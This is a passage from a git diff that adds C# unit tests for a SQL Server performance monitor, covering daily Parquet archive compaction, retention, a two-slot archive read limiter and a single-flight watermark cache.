+/// neither archive view dedups.
+/// </summary>
+public sealed class ArchiveQueryStatsDailyCompactionTests : IDisposable
+{
+    private readonly string _tempDir;
+    private readonly string _archiveDir;
+    private readonly List<DuckDbInitializer> _initializers = [];
+
+    public ArchiveQueryStatsDailyCompactionTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _archiveDir = Path.Combine(_tempDir, "archive");
+        Directory.CreateDirectory(_archiveDir);
+    }
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private string P(string fileName) => Path.Combine(_archiveDir, fileName).Replace("\\", "/");
+
+    private DuckDbInitializer NewInitializer()
+    {
+        var initializer = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+        _initializers.Add(initializer);
+        return initializer;
+    }
+
+    private ArchiveService NewService() => new(NewInitializer(), _archiveDir);
+
+    private static void Exec(string sql)
+    {
+        using var connection = new DuckDBConnection("DataSource=:memory:");
+        connection.Open();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        cmd.ExecuteNonQuery();
+    }
+
+    private static long Scalar(string sql)
+    {
+        using var connection = new DuckDBConnection("DataSource=:memory:");
+        connection.Open();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        return Convert.ToInt64(cmd.ExecuteScalar());
+    }
+
+    /* Rows [from, to) over the hour starting at `hour`, one a second, with a payload wide enough that file
+       sizes follow row counts. */
+    private void MakeParquet(string fileName, long from, long to, string hour = "2026-09-28 14:00:00") =>
+        Exec($"COPY (SELECT i AS id, TIMESTAMP '{hour}' + INTERVAL (i - {from}) SECOND AS collection_time, md5(i::VARCHAR) || md5((i + 1)::VARCHAR) AS payload FROM range({from}, {to}) t(i)) TO '{P(fileName)}' ({ParquetCompaction.BuildArchiveCopyOptions()})");
+
+    private long SizeOf(string fileName) => new FileInfo(P(fileName).Replace("/", "\\")).Length;
+
+    private string[] ArchiveFileNames() =>
+        Directory.GetFiles(_archiveDir).Select(Path.GetFileName).Order(StringComparer.Ordinal).ToArray()!;
+
+    /* Every row visible through the archive view's two globs for the table. */
+    private (long Rows, long DistinctIds) Visible(string table)
+    {
+        var globs = new List<string>();
+        foreach (var pattern in new[] { $"*_{table}.parquet", $"*_{table}_pt???.parquet" })
+        {
+            if (Directory.GetFiles(_archiveDir, pattern).Length > 0)
+                globs.Add(P(pattern));
+        }
+        Assert.NotEmpty(globs);
+        var source = "[" + string.Join(", ", globs.Select(g => $"'{g}'")) + "]";
+        return (Scalar($"SELECT count(*) FROM read_parquet({source})"),
+                Scalar($"SELECT count(DISTINCT id) FROM read_parquet({source})"));
+    }
+
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("query_store_stats")]
+    public void TheTableIsMergedPerDay_WithOneThreadAndTheDailyRowGroupBound(string table)
+    {
+        Assert.True(ParquetCompaction.IsDailyTable(table));
+        Assert.False(ParquetCompaction.ShouldSkipCompaction(table, "20260928"));
+        Assert.True(ParquetCompaction.ShouldSkipCompaction(table, "202609"));
+        Assert.Equal(1, ParquetCompaction.ThreadsFor(table));
+        Assert.Equal(ParquetCompaction.DailyRowGroupBytes, ParquetCompaction.RowGroupBytesFor(table));
+    }
+
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("query_store_stats")]
+    public void ADaysPerCycleFiles_BecomeOneDayFile_WithTheSameRowsAndColumns(string table)
+    {
+        MakeParquet($"20260928_1400_{table}.parquet", 0, 300, "2026-09-28 14:00:00");
+        MakeParquet($"20260928_1500_{table}.parquet", 300, 600, "2026-09-28 15:00:00");
+        MakeParquet($"20260928_1600_{table}.parquet", 600, 900, "2026-09-28 16:00:00");
+        MakeParquet($"20260929_0100_{table}.parquet", 900, 1_000, "2026-09-29 01:00:00");
+        MakeParquet($"20260929_0200_{table}.parquet", 1_000, 1_100, "2026-09-29 02:00:00");
+        var columnsBefore = Scalar($"SELECT count(*) FROM (DESCRIBE SELECT * FROM read_parquet('{P($"20260928_1400_{table}.parquet")}'))");
+
+        NewService().CompactParquetFiles();
+
+        Assert.Equal([$"20260928_{table}.parquet", $"20260929_{table}.parquet"], ArchiveFileNames());
+        Assert.Equal(900, Scalar($"SELECT count(*) FROM read_parquet('{P($"20260928_{table}.parquet")}')"));
+        Assert.Equal(200, Scalar($"SELECT count(*) FROM read_parquet('{P($"20260929_{table}.parquet")}')"));
+        Assert.Equal((1_100L, 1_100L), Visible(table));
+        Assert.Equal(columnsBefore, Scalar($"SELECT count(*) FROM (DESCRIBE SELECT * FROM read_parquet('{P($"20260928_{table}.parquet")}'))"));
+    }
+
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("query_store_stats")]
+    public void ABatchOverTheBudget_SplitsIntoPartFiles_AndKeepsEveryRow(string table)
+    {
+        for (var i = 0; i < 4; i++)
+        {
+            MakeParquet($"20260928_{14 + i}00_{table}.parquet", i * 500, (i + 1) * 500, $"2026-09-28 {14 + i}:00:00");
+        }
+
+        var service = NewService();
+        /* Room for two files per batch, not three: smallest-first greedy batching gives two batches of two. */
+        service.DailyCompactionBatchInputBytes = 2 * Enumerable.Range(0, 4).Max(i => SizeOf($"20260928_{14 + i}00_{table}.parquet")) + 1;
+
+        service.CompactParquetFiles();
+
+        Assert.Equal([$"20260928_{table}_pt001.parquet", $"20260928_{table}_pt002.parquet"], ArchiveFileNames());
+        Assert.Equal((2_000L, 2_000L), Visible(table));
+    }
+
+    [Fact]
+    public void TheDefaultBudgetForTheTwoTables_IsTheDailyOne_NotTheMonthlyOne()
+    {
+        var service = NewService();
+        Assert.Equal(ParquetCompaction.DailyBatchInputBytes, service.DailyCompactionBatchInputBytes);
+        Assert.True(ParquetCompaction.DailyBatchInputBytes < ParquetCompaction.DefaultBatchInputBytes);
+    }
+
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("query_store_stats")]
+    public void RetentionRemovesADayFileAndItsParts_PastTheCutoff(string table)
+    {
+        var old = DateTime.UtcNow.AddMonths(-(RetentionService.ArchiveRetentionMonths + 2));
+        var recent = DateTime.UtcNow;
+        foreach (var name in new[]
+        {
+            $"{old:yyyyMMdd}_{table}.parquet", $"{old:yyyyMMdd}_{table}_pt001.parquet",
+            $"{recent:yyyyMMdd}_{table}.parquet", $"{recent:yyyyMMdd}_{table}_pt001.parquet"
+        })
+        {
+            File.WriteAllText(Path.Combine(_archiveDir, name), "parquet");
+        }
+
+        new RetentionService(_archiveDir).CleanupOldArchives();
+
+        Assert.Equal([$"{recent:yyyyMMdd}_{table}.parquet", $"{recent:yyyyMMdd}_{table}_pt001.parquet"], ArchiveFileNames());
+    }
+
+    /// <summary>
+    /// The switch. A store that ran before it holds a month file (<c>YYYYMM_table.parquet</c>, and parts) of rows
+    /// merged by the old monthly pass, plus per-cycle files that pass had not folded in yet. Those per-cycle
+    /// files were never in the month file, so merging them into day files cannot repeat a row, and the month
+    /// file is left exactly as it is. Neither archive view dedups, so a repeat would show as a doubled count.
+    /// The reads here go through the real archive view, not a hand glob.
+    /// </summary>
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("query_store_stats")]
+    public async Task TheMonthToDaySeam_ReturnsEveryRowExactlyOnce_ThroughTheArchiveView(string table)
+    {
+        var initializer = NewInitializer();
+        await initializer.InitializeFromTemplateAsync();
+        var dbPath = Path.Combine(_tempDir, "test.duckdb");
+
+        /* Before the switch: days 24-26 merged into the month file and a part by the old pass. */
+        MakeParquet($"202609_{table}.parquet", 0, 600, "2026-09-24 00:00:00");
+        MakeParquet($"202609_{table}_pt001.parquet", 600, 900, "2026-09-26 00:00:00");
+        /* Waiting at the switch, never merged: day 27 and the first hours of day 28 (the same month), then day 28's
+           later hours arriving after it. */
+        MakeParquet($"20260927_0900_{table}.parquet", 900, 1_100, "2026-09-27 09:00:00");
+        MakeParquet($"20260927_1000_{table}.parquet", 1_100, 1_300, "2026-09-27 10:00:00");
+        MakeParquet($"20260928_1400_{table}.parquet", 1_300, 1_500, "2026-09-28 14:00:00");
+        var monthBytes = File.ReadAllBytes(P($"202609_{table}.parquet").Replace("/", "\\"));
+        var partBytes = File.ReadAllBytes(P($"202609_{table}_pt001.parquet").Replace("/", "\\"));
+
+        var service = new ArchiveService(initializer, _archiveDir);
+        service.CompactParquetFiles();
+        MakeParquet($"20260928_1500_{table}.parquet", 1_500, 1_700, "2026-09-28 15:00:00");
+        service.CompactParquetFiles();
+
+        Assert.Equal(
+            [$"20260927_{table}.parquet", $"20260928_{table}.parquet", $"202609_{table}.parquet", $"202609_{table}_pt001.parquet"],
+            ArchiveFileNames());
+        Assert.Equal(monthBytes, File.ReadAllBytes(P($"202609_{table}.parquet").Replace("/", "\\")));
+        Assert.Equal(partBytes, File.ReadAllBytes(P($"202609_{table}_pt001.parquet").Replace("/", "\\")));
+        Assert.Equal(400, Scalar($"SELECT count(*) FROM read_parquet('{P($"20260927_{table}.parquet")}')"));
+
+        await initializer.CreateArchiveViewsAsync();
+        Assert.Equal(1_700, await ViewScalarAsync(dbPath, $"SELECT COUNT(*) FROM v_{table}"));
+        Assert.Equal(1_700, await ViewScalarAsync(dbPath, $"SELECT COUNT(DISTINCT id) FROM v_{table}"));
+        /* Windows across the seam return their own rows once: day 26 (the month file's last rows, a part) and day 27
+           (the first day file). */
+        Assert.Equal(300, await ViewScalarAsync(dbPath,
+            $"SELECT COUNT(*) FROM v_{table} WHERE collection_time >= TIMESTAMP '2026-09-26 00:00:00' AND collection_time < TIMESTAMP '2026-09-27 00:00:00'"));
+        Assert.Equal(400, await ViewScalarAsync(dbPath,
+            $"SELECT COUNT(*) FROM v_{table} WHERE collection_time >= TIMESTAMP '2026-09-27 00:00:00' AND collection_time < TIMESTAMP '2026-09-28 00:00:00'"));
+    }
+
+    /// <summary>
+    /// After compaction the view reads the day file, and a read over one hour of the day returns that hour's
+    /// rows. The day file has several row groups, each carrying collection_time statistics, and the window
+    /// overlaps some of them, not all: that is what lets the read skip the rest of the day's row groups.
+    /// </summary>
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("query_store_stats")]
+    public async Task TheViewReadsTheDayFile_AndAOneHourReadTouchesOnlyAFewOfItsRowGroups(string table)
+    {
+        var initializer = NewInitializer();
+        await initializer.InitializeFromTemplateAsync();
+        var dbPath = Path.Combine(_tempDir, "test.duckdb");
+
+        /* One archive pass an hour, as in production: the day file takes each new hour in time order, so its row
+           groups follow time. (A first pass over a whole day of equal-size files would order them by size.) */
+        var service = new ArchiveService(initializer, _archiveDir);
+        for (var hour = 10; hour < 18; hour++)
+        {
+            MakeParquet($"20260928_{hour}00_{table}.parquet", hour * 10_000L, hour * 10_000L + RowsPerHour, $"2026-09-28 {hour}:00:00");
+            service.CompactParquetFiles();
+        }
+
+        Assert.Equal([$"20260928_{table}.parquet"], ArchiveFileNames());
+
+        await initializer.CreateArchiveViewsAsync();
+        Assert.Equal(8 * RowsPerHour, await ViewScalarAsync(dbPath, $"SELECT COUNT(*) FROM v_{table}"));
+        Assert.Equal(RowsPerHour, await ViewScalarAsync(dbPath,
+            $"SELECT COUNT(*) FROM v_{table} WHERE collection_time >= TIMESTAMP '2026-09-28 15:00:00' AND collection_time < TIMESTAMP '2026-09-28 16:00:00'"));
+
+        var meta = $"parquet_metadata('{P($"20260928_{table}.parquet")}') WHERE path_in_schema = 'collection_time'";
+        var groups = Scalar($"SELECT count(*) FROM {meta}");
+        Assert.True(groups >= 8, $"the day file has {groups} row group(s)");
+        Assert.Equal(0, Scalar($"SELECT count(*) FROM {meta} AND stats_min IS NULL"));
+        var overlapping = Scalar($"SELECT count(*) FROM {meta} AND CAST(stats_max AS TIMESTAMP) >= TIMESTAMP '2026-09-28 15:00:00' AND CAST(stats_min AS TIMESTAMP) < TIMESTAMP '2026-09-28 16:00:00'");
+        Assert.True(overlapping > 0 && overlapping * 4 <= groups, $"{overlapping} of {groups} row groups overlap the one-hour window of an eight-hour day");
+    }
+
+    /* An hour of rows, one a second: eight hours make a day file of about ten 2,048-row groups. */
+    private const int RowsPerHour = 2_500;
+
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("query_store_stats")]
+    public void TheMonthlyAndImportedShapesOfTheTable_AreLeftAlone(string table)
+    {
+        MakeParquet($"202609_{table}.parquet", 0, 100);
+        MakeParquet($"202609_{table}_pt001.parquet", 100, 200);
+        MakeParquet($"imported_202609_{table}.parquet", 200, 300);
+        MakeParquet($"imported_20260928_1400_{table}.parquet", 300, 400);
+        MakeParquet($"imported_20260928_1500_{table}.parquet", 400, 500);
+        MakeParquet($"imported_20260927_{table}.parquet", 500, 600);
+        MakeParquet($"imported_20260927_{table}_pt001.parquet", 600, 700);
+
+        NewService().CompactParquetFiles();
+
+        Assert.Equal(
+            [$"202609_{table}.parquet", $"202609_{table}_pt001.parquet", $"imported_20260927_{table}.parquet", $"imported_20260927_{table}_pt001.parquet",
+             $"imported_20260928_1400_{table}.parquet", $"imported_20260928_1500_{table}.parquet", $"imported_202609_{table}.parquet"],
+            ArchiveFileNames());
+    }
+
+    /* A day's swap journal is named YYYYMMDD_table.swap: a day whose delete is still pending keeps out of the merge. */
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("query_store_stats")]
+    public void AnInputThatCannotBeDeletedYet_KeepsItsDayOutOfTheMerge_UntilItIsGone(string table)
+    {
+        MakeParquet($"20260928_{table}.parquet", 0, 600, "2026-09-28 14:00:00");
+        MakeParquet($"20260928_1400_{table}.parquet", 300, 600, "2026-09-28 14:05:00");
+        MakeParquet($"20260928_1500_{table}.parquet", 600, 700, "2026-09-28 15:00:00");
+        MakeParquet($"20260928_1600_{table}.parquet", 700, 800, "2026-09-28 16:00:00");
+        File.WriteAllLines(P($"20260928_{table}.swap"),
+        [
+            "state|swapped",
+            $"output|replacing|20260928_{table}.parquet",
+            $"input|20260928_1400_{table}.parquet"
+        ]);
+
+        var service = NewService();
+        using (new FileStream(P($"20260928_1400_{table}.parquet").Replace("/", "\\"), FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
+        {
+            service.CompactParquetFiles();
+        }
+
+        Assert.True(File.Exists(P($"20260928_{table}.swap")), "the journal was dropped while its input still existed");
+        Assert.True(File.Exists(P($"20260928_1500_{table}.parquet")), "the day was merged while an earlier swap's delete was still pending");
+
+        service.CompactParquetFiles();
+
+        Assert.Equal([$"20260928_{table}.parquet"], ArchiveFileNames());
+        Assert.Equal((800L, 800L), Visible(table));
+    }
+
+    private static async Task<long> ViewScalarAsync(string dbPath, string sql)
+    {
+        using var connection = new DuckDBConnection($"Data Source={dbPath}");
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        return Convert.ToInt64(await cmd.ExecuteScalarAsync(TestContext.Current.CancellationToken));
+    }
+}
diff --git a/Lite.Tests/ArchiveReadLimitTests.cs b/Lite.Tests/ArchiveReadLimitTests.cs
new file mode 100644
index 0000000000..f759eeb711
--- /dev/null
+++ b/Lite.Tests/ArchiveReadLimitTests.cs
@@ -0,0 +1,971 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5377: the limiter that caps expensive archive reads at two, in isolation. Instances only, never
+/// <see cref="ArchiveReadLimiter.Shared"/>, so no other test's read can be starved by a slot held here.
+/// </summary>
+public sealed class ArchiveReadLimiterTests
+{
+    [Fact]
+    public void TheSharedLimiter_IsTwoWide() => Assert.Equal(2, ArchiveReadLimiter.Shared.Width);
+
+    [Fact]
+    public async Task AThirdConcurrentRead_Waits_UntilASlotIsFreed()
+    {
+        var limiter = new ArchiveReadLimiter(2);
+        using var first = await limiter.EnterAsync(CancellationToken.None);
+        using var second = await limiter.EnterAsync(CancellationToken.None);
+        Assert.Equal(0, limiter.Available);
+
+        var third = limiter.EnterAsync(CancellationToken.None);
+        await Task.Delay(150, TestContext.Current.CancellationToken);
+        Assert.False(third.IsCompleted, "a third read must wait while two hold slots");
+
+        first.Dispose();
+        using var slot = await third.WaitAsync(TimeSpan.FromSeconds(10), TestContext.Current.CancellationToken);
+        Assert.Equal(0, limiter.Available);
+    }
+
+    [Fact]
+    public async Task ACancelledWaiter_LeavesPromptly_AndReleasesNothingItDidNotTake()
+    {
+        var limiter = new ArchiveReadLimiter(2);
+        var first = await limiter.EnterAsync(CancellationToken.None);
+        var second = await limiter.EnterAsync(CancellationToken.None);
+
+        using var cts = new CancellationTokenSource();
+        var waiter = limiter.EnterAsync(cts.Token);
+        await Task.Delay(100, TestContext.Current.CancellationToken);
+        Assert.False(waiter.IsCompleted);
+
+        cts.Cancel();
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            async () => await waiter.WaitAsync(TimeSpan.FromSeconds(10), TestContext.Current.CancellationToken));
+        Assert.Equal(0, limiter.Available);
+
+        /* Had the cancelled waiter released a slot it never held, one dispose would now show two free. */
+        first.Dispose();
+        Assert.Equal(1, limiter.Available);
+        second.Dispose();
+        Assert.Equal(2, limiter.Available);
+    }
+
+    [Fact]
+    public async Task DisposingASlotTwice_ReleasesItOnce()
+    {
+        var limiter = new ArchiveReadLimiter(2);
+        var slot = await limiter.EnterAsync(CancellationToken.None);
+        slot.Dispose();
+        slot.Dispose();
+        Assert.Equal(2, limiter.Available);
+    }
+
+    [Fact]
+    public async Task AnAlreadyCancelledToken_TakesNoSlot()
+    {
+        var limiter = new ArchiveReadLimiter(2);
+        using var cts = new CancellationTokenSource();
+        cts.Cancel();
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(async () => await limiter.EnterAsync(cts.Token));
+        Assert.Equal(2, limiter.Available);
+    }
+}
+
+/// <summary>#5377: concurrent first callers for one cache key share one read.</summary>
+public sealed class ArchiveWatermarkSingleFlightTests
+{
+    [Fact]
+    public async Task ConcurrentFirstCallers_ShareOneRead()
+    {
+        var cache = new ArchiveWatermarkCache();
+        var calls = 0;
+        var release = new TaskCompletionSource<object?>(TaskCreationOptions.RunContinuationsAsynchronously);
+        Task<object?> Read() { Interlocked.Increment(ref calls); return release.Task; }
+
+        var callers = Enumerable.Range(0, 8).Select(_ => cache.GetOrReadAsync("k", 1, Read)).ToArray();
+        await Task.Delay(100, TestContext.Current.CancellationToken);
+        Assert.Equal(1, Volatile.Read(ref calls));
+
+        release.SetResult(42);
+        foreach (var value in await Task.WhenAll(callers))
+            Assert.Equal(42, value);
+        Assert.Equal(1, calls);
+    }
+
+    [Fact]
+    public async Task AGenerationBump_ReadsOnceMore_ThenServesTheNewGenerationFromCache()
+    {
+        var cache = new ArchiveWatermarkCache();
+        var calls = 0;
+        Task<object?> Read() { calls++; return Task.FromResult<object?>(calls); }
+
+        await cache.GetOrReadAsync("k", 1, Read);
+        await cache.GetOrReadAsync("k", 2, Read);
+        await cache.GetOrReadAsync("k", 2, Read);
+        Assert.Equal(2, calls);
+    }
+
+    [Fact]
+    public async Task ANewVariant_OverwritesTheEntryInPlace()
+    {
+        var cache = new ArchiveWatermarkCache();
+        var calls = 0;
+        Task<object?> Read() { calls++; return Task.FromResult<object?>(calls); }
+
+        await cache.GetOrReadAsync("k", 1, Read, variant: 10);
+        await cache.GetOrReadAsync("k", 1, Read, variant: 10);
+        Assert.Equal(1, calls);
+        await cache.GetOrReadAsync("k", 1, Read, variant: 11);
+        Assert.Equal(2, calls);
+
+        var entries = (System.Collections.ICollection)typeof(ArchiveWatermarkCache)
+            .GetField("_entries", BindingFlags.Instance | BindingFlags.NonPublic)!.GetValue(cache)!;
+        Assert.Single(entries);
+    }
+
+    [Fact]
+    public async Task AFailedRead_FailsEveryJoiner_AndStoresNothing()
+    {
+        var cache = new ArchiveWatermarkCache();
+        var calls = 0;
+        var fail = new TaskCompletionSource<object?>(TaskCreationOptions.RunContinuationsAsynchronously);
+        Task<object?> Read() { Interlocked.Increment(ref calls); return fail.Task; }
+
+        var callers = Enumerable.Range(0, 4).Select(_ => cache.GetOrReadAsync("k", 1, Read)).ToArray();
+        await Task.Delay(100, TestContext.Current.CancellationToken);
+        fail.SetException(new InvalidOperationException("boom"));
+        foreach (var caller in callers)
+            await Assert.ThrowsAsync<InvalidOperationException>(() => caller);
+        Assert.Equal(1, calls);
+
+        Assert.Equal(7, await cache.GetOrReadAsync("k", 1, () => Task.FromResult<object?>(7)));
+    }
+
+    [Fact]
+    public async Task WhenTheRunningCallerIsCancelled_AJoinerReadsInsteadOfInheritingTheCancellation()
+    {
+        var cache = new ArchiveWatermarkCache();
+        using var leaderCts = new CancellationTokenSource();
+        var leaderStarted = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var leader = cache.GetOrReadAsync("k", 1, async () =>
+        {
+            leaderStarted.SetResult();
+            await Task.Delay(Timeout.Infinite, leaderCts.Token);
+            return null;
+        });
+        await leaderStarted.Task.WaitAsync(TimeSpan.FromSeconds(10), TestContext.Current.CancellationToken);
+
+        var joiner = cache.GetOrReadAsync("k", 1, () => Task.FromResult<object?>("joiner read"));
+        await Task.Delay(100, TestContext.Current.CancellationToken);
+        Assert.False(joiner.IsCompleted);
+
+        leaderCts.Cancel();
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => leader);
+        Assert.Equal("joiner read", await joiner.WaitAsync(TimeSpan.FromSeconds(10), TestContext.Current.CancellationToken));
+    }
+
+    [Fact]
+    public async Task AJoinerThatIsCancelled_LeavesWithoutDisturbingTheRead()
+    {
+        var cache = new ArchiveWatermarkCache();
+        var release = new TaskCompletionSource<object?>(TaskCreationOptions.RunContinuationsAsynchronously);
+        var leader = cache.GetOrReadAsync("k", 1, () => release.Task);
+
+        using var cts = new CancellationTokenSource();
+        var joiner = cache.GetOrReadAsync("k", 1, () => Task.FromResult<object?>("never"), cancellationToken: cts.Token);
+        cts.Cancel();
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => joiner);
+
+        release.SetResult(5);
+        Assert.Equal(5, await leader);
+        Assert.Equal(5, await cache.GetOrReadAsync("k", 1, () => Task.FromResult<object?>("never")));
+    }
+
+    private static TaskCompletionSource<object?> Gate() => new(TaskCreationOptions.RunContinuationsAsynchronously);
+
+    [Fact]
+    public async Task AfterAGenerationBump_EightCallers_CauseExactlyOneNewRead_WhileAnOlderReadIsStillInFlight()
+    {
+        /* Review F2: a leader that sampled generation 1 is still queued for a slot when an archive pass bumps to 2.
+           Every later caller samples 2 and finds the generation-1 flight. They must take it over, not each run a
+           whole-archive read of their own. */
+        var cache = new ArchiveWatermarkCache();
+        int oldReads = 0, newReads = 0;
+        var oldRelease = Gate();
+        var newRelease = Gate();
+        var oldLeader = cache.GetOrReadAsync("k", 1, () => { Interlocked.Increment(ref oldReads); return oldRelease.Task; });
+
+        var callers = Enumerable.Range(0, 8)
+            .Select(_ => cache.GetOrReadAsync("k", 2, () => { Interlocked.Increment(ref newReads); return newRelease.Task; }))
+            .ToArray();
+        await Task.Delay(100, TestContext.Current.CancellationToken);
+        Assert.Equal(1, Volatile.Read(ref newReads));
+
+        newRelease.SetResult("new");
+        foreach (var value in await Task.WhenAll(callers))
+            Assert.Equal("new", value);
+        Assert.Equal(1, newReads);
+
+        /* The old leader finishing late neither overwrites the newer entry nor costs another read. */
+        oldRelease.SetResult("old");
+        Assert.Equal("old", await oldLeader);
+        Assert.Equal("new", await cache.GetOrReadAsync("k", 2, () => Task.FromResult<object?>("never")));
+        Assert.Equal((1, 1), (oldReads, newReads));
+    }
+
+    [Fact]
+    public async Task TheOldLeaderFinishingFirst_DoesNotDropTheTakeoverFlight()
+    {
+        var cache = new ArchiveWatermarkCache();
+        var newReads = 0;
+        var oldRelease = Gate();
+        var newRelease = Gate();
+        var oldLeader = cache.GetOrReadAsync("k", 1, () => oldRelease.Task);
+        var takeover = cache.GetOrReadAsync("k", 2, () => { Interlocked.Increment(ref newReads); return newRelease.Task; });
+
+        oldRelease.SetResult("old");
+        await oldLeader;
+
+        /* A caller after the old read ended still joins the takeover read rather than starting a third. */
+        var late = cache.GetOrReadAsync("k", 2, () => { Interlocked.Increment(ref newReads); return Task.FromResult<object?>("late"); });
+        await Task.Delay(100, TestContext.Current.CancellationToken);
+        Assert.False(late.IsCompleted);
+        newRelease.SetResult("new");
+        Assert.Equal("new", await takeover);
+        Assert.Equal("new", await late);
+        Assert.Equal(1, newReads);
+    }
+
+    [Fact]
+    public async Task ACancelledTakeoverLeader_DoesNotPoisonItsJoiners()
+    {
+        var cache = new ArchiveWatermarkCache();
+        var oldRelease = Gate();
+        _ = cache.GetOrReadAsync("k", 1, () => oldRelease.Task);
+        using var leaderCts = new CancellationTokenSource();
+        var leader = cache.GetOrReadAsync("k", 2, async () =>
+        {
+            await Task.Delay(Timeout.Infinite, leaderCts.Token);
+            return null;
+        });
+        var joiner = cache.GetOrReadAsync("k", 2, () => Task.FromResult<object?>("joiner read"));
+        await Task.Delay(100, TestContext.Current.CancellationToken);
+        Assert.False(joiner.IsCompleted);
+
+        leaderCts.Cancel();
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => leader);
+        Assert.Equal("joiner read", await joiner.WaitAsync(TimeSpan.FromSeconds(10), TestContext.Current.CancellationToken));
+        oldRelease.SetResult("old");
+    }
+
+    [Fact]
+    public async Task AFailedTakeoverRead_FailsItsJoiners_AndStoresNothing()
+    {
+        var cache = new ArchiveWatermarkCache();
+        var oldRelease = Gate();
+        var fail = Gate();
+        _ = cache.GetOrReadAsync("k", 1, () => oldRelease.Task);
+        var callers = Enumerable.Range(0, 3).Select(_ => cache.GetOrReadAsync("k", 2, () => fail.Task)).ToArray();
+        fail.SetException(new InvalidOperationException("boom"));
+        foreach (var caller in callers)
+            await Assert.ThrowsAsync<InvalidOperationException>(() => caller);
+        Assert.Equal(9, await cache.GetOrReadAsync("k", 2, () => Task.FromResult<object?>(9)));
+        oldRelease.SetResult("old");
+    }
+}
+
+/// <summary>
+/// #5377 on a real DuckDB store with a real archive-and-reset (hot rows in the live table, cold rows in
+/// Parquet): the per-database watermark read is one grouped archive read per table and generation, its
+/// answers equal the old per-database reads' answers, the uncached floored read is gone except for the one
+/// band that needs it, and the archive reads take the limiter before the read lock.
+/// </summary>
+/* ArchiveAllAndResetAsync touches CollectionResetGate and ArchiveService's static archive lock, both
+   process-wide, so this class joins the serialized collection the other reset tests use. */
+[Collection("CollectionResetGate")]
+public sealed class ArchiveGroupedWatermarkReadTests : IDisposable
+{
+    private static readonly DateTime Now = new(2026, 5, 1, 18, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime Floor = Now.AddHours(-3);
+
+    private const string Table = "query_store_stats";
+    private const string Column = "last_execution_time";
+
+    private readonly string _tempDir;
+    private readonly string _dbPath;
+    private readonly string _archiveDir;
+    private readonly DuckDbInitializer _duckDb;
+
+    public ArchiveGroupedWatermarkReadTests()
+    {
+        CollectionResetGate.ResetForTests();
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _dbPath = Path.Combine(_tempDir, "test.duckdb");
+        _archiveDir = Path.Combine(_tempDir, "archive");
+        Directory.CreateDirectory(_archiveDir);
+        _duckDb = new DuckDbInitializer(_dbPath);
+    }
+
+    public void Dispose()
+    {
+        _duckDb.Dispose();
+        CollectionResetGate.ResetForTests();
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private sealed class Reads(DuckDbInitializer duckDb)
+        : RemoteCollectorService(duckDb, serverManager: null!, scheduleManager: null!)
+    {
+        public Task<DateTime?> DatabaseTimeAsync(
+            int serverId, string databaseName, DateTime? since = null, CancellationToken cancellationToken = default) =>
+            GetLastCollectedTimeForDatabaseAsync(serverId, Table, Column, "database_name", databaseName, cancellationToken, since);
+
+        public Task<DateTime?> TimeAsync(int serverId, string table, string column, CancellationToken cancellationToken = default) =>
+            GetLastCollectedTimeAsync(serverId, table, column, cancellationToken);
+
+        public Task<(DateTime? Value, bool FromUtcColumn)> FrameAsync(int serverId, CancellationToken cancellationToken = default) =>
+            GetLastCollectedTimeWithFrameAsync(serverId, Table, Column, "collection_time", cancellationToken);
+
+        public Task<long?> IdentityAsync(int serverId, CancellationToken cancellationToken = default) =>
+            GetLastCollectedInstanceIdAsync(serverId, Table, "collection_id", cancellationToken);
+
+        public Task<bool> SuccessAsync(int serverId, string collector, CancellationToken cancellationToken = default) =>
+            HasPriorCollectorSuccessAsync(serverId, collector, cancellationToken);
+
+        public Task<DateTime?> BackfillFloorAsync(
+            int serverId, string databaseName, DateTime floorLimit, CancellationToken cancellationToken = default) =>
+            GetMinCollectedTimeForDatabaseAsync(serverId, Table, Column, "database_name", databaseName, floorLimit, cancellationToken);
+
+        public int CacheEntryCount()
+        {
+            var cache = typeof(RemoteCollectorService)
+                .GetFields(BindingFlags.Instance | BindingFlags.NonPublic)
+                .Single(f => f.FieldType == typeof(ArchiveWatermarkCache))
+                .GetValue(this)!;
